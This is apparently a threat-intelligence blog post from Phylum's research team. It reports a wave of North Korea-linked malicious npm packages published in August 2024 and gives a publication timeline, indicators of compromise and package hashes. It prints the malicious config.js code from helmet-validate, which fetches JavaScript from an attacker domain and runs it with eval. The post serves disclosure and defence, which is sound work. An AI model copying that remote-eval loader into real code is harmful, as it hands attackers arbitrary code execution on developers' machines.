North Korea Still Attacking Developers via npm

North Korea Still Attacking Developers via npm

In the past few weeks, we've observed a renewed surge of activity from groups aligned with North Korean objectives, publishing several packages to npm. This latest wave appears to involve multiple groups or at least exhibits several distinct publication patterns, TTPs (Tactics, Techniques, and Procedures), and attack types we've seen in the past. The renewed surge began on August 12, 2024, with the publication of temp-etherscan-api and two versions of ethersscan-api. Approximately a week and a half later, telegram-con and another version of ethersscan-api were published. These packages appear to contain similar malware, including qq-console, published two weeks later on August 27. Behaviors in this campaign lead us to believe that qq-console is attributable to the North Korean campaign known as "Contagious Interview".

These attacks are characterized by multi-stage obfuscated JavaScript that downloads additional malware components from remote servers. These include Python scripts and even a full Python interpreter, which then systematically searches for and attempts to exfiltrate sensitive data from cryptocurrency wallet browser extensions while establishing persistence on the victim's machine. We've written about this form of malware twice before, first in February 2024 and again in June 2024, detailing its evolution and impact on the developer community.

On August 23, published just minutes after the most recent version of ethersscan-api and telegram-con, we saw helmet-validate published. This package takes a different approach, simply inserting the following code into a file called config.js:

const axios = require("axios")

async function runCode() {
    const res = await axios.get("<http://ipcheck>[.]cloud/api/user/thirdcookie/v3/197");
    eval(res.data.cookie);
}

runCode();

This code directly evals JavaScript returned from an endpoint located at the ipcheck[.]cloud domain. Our investigation revealed that ipcheck[.]cloud resolves to the same IP address (167[.]88[.]36[.]13) that mirotalk[.]net resolved to when it was online. The mirotalk domain was previously used in fake job campaigns attributed to North Korean threat actors, suggesting a potential link between these attacks.

Finally, on August 27, we also identified the publication of sass-notification; behaviors in this campaign lead us believe that this package is attributable to “Moonstone Sleet”. The attack vector used by this package is also familiar, and we've written about it previously, first in November 2023 and more recently in July 2024. These attacks are characterized by using obfuscated JavaScript to write and execute batch and PowerShell scripts. The scripts download and decrypt a remote payload, execute it as a DLL, and then attempt to clean up all traces of malicious activity, leaving behind a seemingly benign package on the victim’s machine.

The diversity and simultaneous deployment of these attack vectors reveal a coordinated and relentless campaign by North Korean-aligned threat actors. These adversaries continuously exploit the inherent trust in the npm ecosystem to compromise developers, infiltrate companies, and steal cryptocurrency or any other assets that could lead to illicit financial gains.

Publication Timeline

Name Version Publication Time
qq-console 0.0.1 2024-08-27 19:07
sass-notification 1.0.0 2024-08-27 18:15
helmet-validate 0.0.1 2024-08-23 02:39
ethersscan-api 0.0.3 2024-08-23 02:31
telegram-con 0.0.1 2024-08-23 02:31
ethersscan-api 0.0.2 2024-08-12 03:53
ethersscan-api 0.0.1 2024-08-12 03:53
temp-etherscan-api 0.0.1 2024-08-12 02:47

IOCs

  • ipcheck[.]cloud
  • 45[.]61[.]158[.]14
  • 167[.]88[.]36[.]13
  • 95[.]164[.]17[.]24
Package Name Version Package Tarball Sha256
ethersscan-api 0.0.1 d4f3113e1e0384bcf37c39678deb196fb5b39f15c4990134b6b8637be74e5a2e
ethersscan-api 0.0.2 f1f3002dec6e36e692e087626edd9b6b0f95a176c0c204d4703ccb4f425aa317
ethersscan-api 0.0.3 5e5313aaf281c8a8eed29ba2c1aaa5aa65bc174bcd0be466f4533712599db758
helmet-validate 0.0.1 2a00838ccd08b26c7948d1dd25c33a114dd81c3bcee3de595783e6f396e7f50e
qq-console 0.0.1 aec21b53ee4ae0b55f5018fc5aaa5a4f095a239a64272ca42047c40ec3c212c0
sass-notification 1.0.0 f7c142178605102ee56f7e486ba68b97f3f6b522994b24f4116dbbd2abc28cec
telegram-con 0.0.1 0110318f70072171c0edc624c8e8be38892f984b121d6a5a5ced1f6b0b45dbd0
temp-etherscan-api 0.0.1 94da263d603bf735ab85f829b564261e59a1d13915d21babe58e72435bfe32ab
Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.